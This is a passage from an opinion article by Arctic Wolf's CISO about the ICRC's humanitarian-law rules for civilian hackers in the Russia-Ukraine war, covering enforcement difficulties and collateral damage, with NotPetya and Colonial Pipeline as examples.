4.  Do not conduct any cyber operation against medical and humanitarian facilities.
    
5.  Do not conduct any cyberattack against objects indispensable to the survival of the population or that can release dangerous forces.
    
6.  Do not make threats of violence to spread terror among the civilian population.
    
7.  Do not incite violations of international humanitarian law.
    
8.  Comply with these rules even if the enemy does not.
    

These rules come at a time when it's never been easier for groups, or even individuals, to get involved in attacks and do their part for their cause. The easier it is for anybody with a grudge to launch a cyberattack, the less restrictive these rules will be and the less they will be followed. Many of the stateless groups involved in the Russia-Ukraine conflict aren't bound by current national or international laws. Indeed, several groups, such as the pro-Russian Killnet group, already have reported they will not follow the ICRS's rules.

 Even though these rules likely will not be accepted by the hacking groups currently operating within the Russia-Ukraine conflict, the ICRC should be commended for coming up with and publishing these rules. Establishing norms is crucial for holding such groups accountable for potential war crimes, civilian death and destruction, and other harmful ancillary effects.

The rules are supposed to fall in line with international humanitarian law, a set of rules that seek to limit the effects of armed conflict and, when broken, constitute war crimes. The IHL rules for armed conflict are critical in protecting citizens in military zones during wartime, but the often anonymous and detached nature of cyberspace means it will be much, much harder to police these new cyber-focused IHL rules.

Rule No. 3, for example, is absolutely critical to mitigating the damage to civilians during a conflict. But civilian hackers working on behalf of a military goal may be totally unaware of the unintended destruction they would cause with their attacks. When preparing any kind of cyberattack, the intelligence that an actor has going into the target environment is rarely 100%, even if they're a professional. If the intention is to impact a single component of a bank, for example, but the attacker fails to realize that a nearby hospital relies on that same electrical grid, the situation can escalate very quickly. And when it's a low-skilled attacker with little regard or understanding of what a high-powered tool can do, miscalculations become alarmingly easy. 

**Collateral Damage**

It's also likely that the private sector will take the brunt of this collateral damage. For example, NotPetya — a targeted attack against Ukrainian infrastructure — went into the wild in 2017, paralyzing factories across the globe and costing shipping company Maersk $300 million. The other cause for concern is that the commercialization of cybercrime has enabled less advanced actors to rent state-of-the-art malware and launch campaigns with speed and with ease. For example, the Colonial Pipeline attack was likely orchestrated by an affiliate who had paid for the DarkSide malware. This makes it far more challenging to monitor who is being targeted, and even the developers probably don't know for certain how and where their malware will be used.

The ICRC is sending these rules to hacking groups on both sides of the conflict, and has called on all states — not just Russia and Ukraine — to "give due consideration to the risk of exposing civilians to harm if encouraging or requiring them to be involved in military cyber operations." Creating the parameters for civilian hackers involved in conflicts now hopefully will lead to internationally accepted and enforceable rules in the future. If even some level of deterrence can be achieved by these rules, it will serve to avoid unnecessary damage and harm in future conflicts.

**About the Author(s)**

CISO, Arctic Wolf

Adam Marrè is the Chief Information Security Officer at Arctic Wolf. Prior to joining Arctic Wolf, Adam was the Global Head of Information Security Operations and Physical Security at Qualtrics. With deep roots in the cybersecurity space, Adam spent almost 12 years with the FBI, holding positions like SWAT Senior Team Leader and Special Agent.

Tag

#auth